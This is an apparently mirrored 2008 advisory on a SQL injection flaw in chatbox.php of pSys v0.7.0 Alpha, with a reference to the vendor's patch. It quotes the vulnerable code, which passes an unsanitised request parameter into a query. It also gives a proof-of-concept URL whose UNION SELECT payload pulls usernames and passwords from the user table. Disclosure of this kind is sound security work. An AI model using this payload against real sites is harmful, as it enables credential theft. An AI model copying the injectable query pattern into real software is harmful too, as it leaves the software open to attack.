pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection Vulnerability

🗓️ 01 Jul 2008 00:00:00Reported by RootType

pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection Vulnerability found on 22.06.2008 with patch available at http://www.powie.de/cvsou


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\#'#/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(-.-)
&nbsp;&nbsp;&nbsp;---------------------oOO---(_)---OOo--------------------
&nbsp;&nbsp;&nbsp;|&nbsp;pSys&nbsp;v0.7.0&nbsp;Alpha&nbsp;(chatbox.php)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;|
&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(works&nbsp;only&nbsp;with&nbsp;magic&nbsp;quotes&nbsp;=&nbsp;off)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;coded&nbsp;by&nbsp;DNX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;--------------------------------------------------------
[!]&nbsp;Discovered.:&nbsp;DNX
[!]&nbsp;Vendor.....:&nbsp;http://www.powie.de
[!]&nbsp;Detected...:&nbsp;22.06.2008
[!]&nbsp;Reported...:&nbsp;23.06.2008
[!]&nbsp;Response...:&nbsp;23.06.2008

[!]&nbsp;Background.:&nbsp;pSys&nbsp;is&nbsp;a&nbsp;module&nbsp;based&nbsp;PHP&nbsp;Script

[!]&nbsp;Bug........:&nbsp;$showid&nbsp;in&nbsp;chatbox.php&nbsp;near&nbsp;line&nbsp;42

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;12:&nbsp;$showid&nbsp;=&nbsp;$_REQUEST['showid'];&nbsp;//Einzelne&nbsp;ID&nbsp;anzeigen

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;41:&nbsp;if&nbsp;($showid&nbsp;!=&nbsp;'')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;42:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sqlbefehl&nbsp;=&nbsp;&quot;Select&nbsp;*&nbsp;FROM&nbsp;$tab_quick&nbsp;where&nbsp;id='$showid'&quot;;

[!]&nbsp;PoC........:&nbsp;http://127.0.0.1/psys/chatbox.php?showid='&nbsp;union&nbsp;select&nbsp;1,username,pwd,4,5,6,7,8&nbsp;FROM&nbsp;ps_pfuser/*

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ps_&quot;&nbsp;is&nbsp;default&nbsp;database&nbsp;prefix

[!]&nbsp;Solution...:&nbsp;Install&nbsp;updates&nbsp;from&nbsp;cvs&nbsp;(http://www.powie.de/cvsout)

[!]&nbsp;Greetingz..:&nbsp;h0yt3r,&nbsp;k1tk4t,&nbsp;pwndomina,&nbsp;e\o,&nbsp;daneo

01 Jul 2008 00:00Current

7.1High risk

Vulners AI Score7.1

psys; sql injection; remote; vulnerability; chatbox; php; patch; http; 22.06.2008; update; powie.de; exploit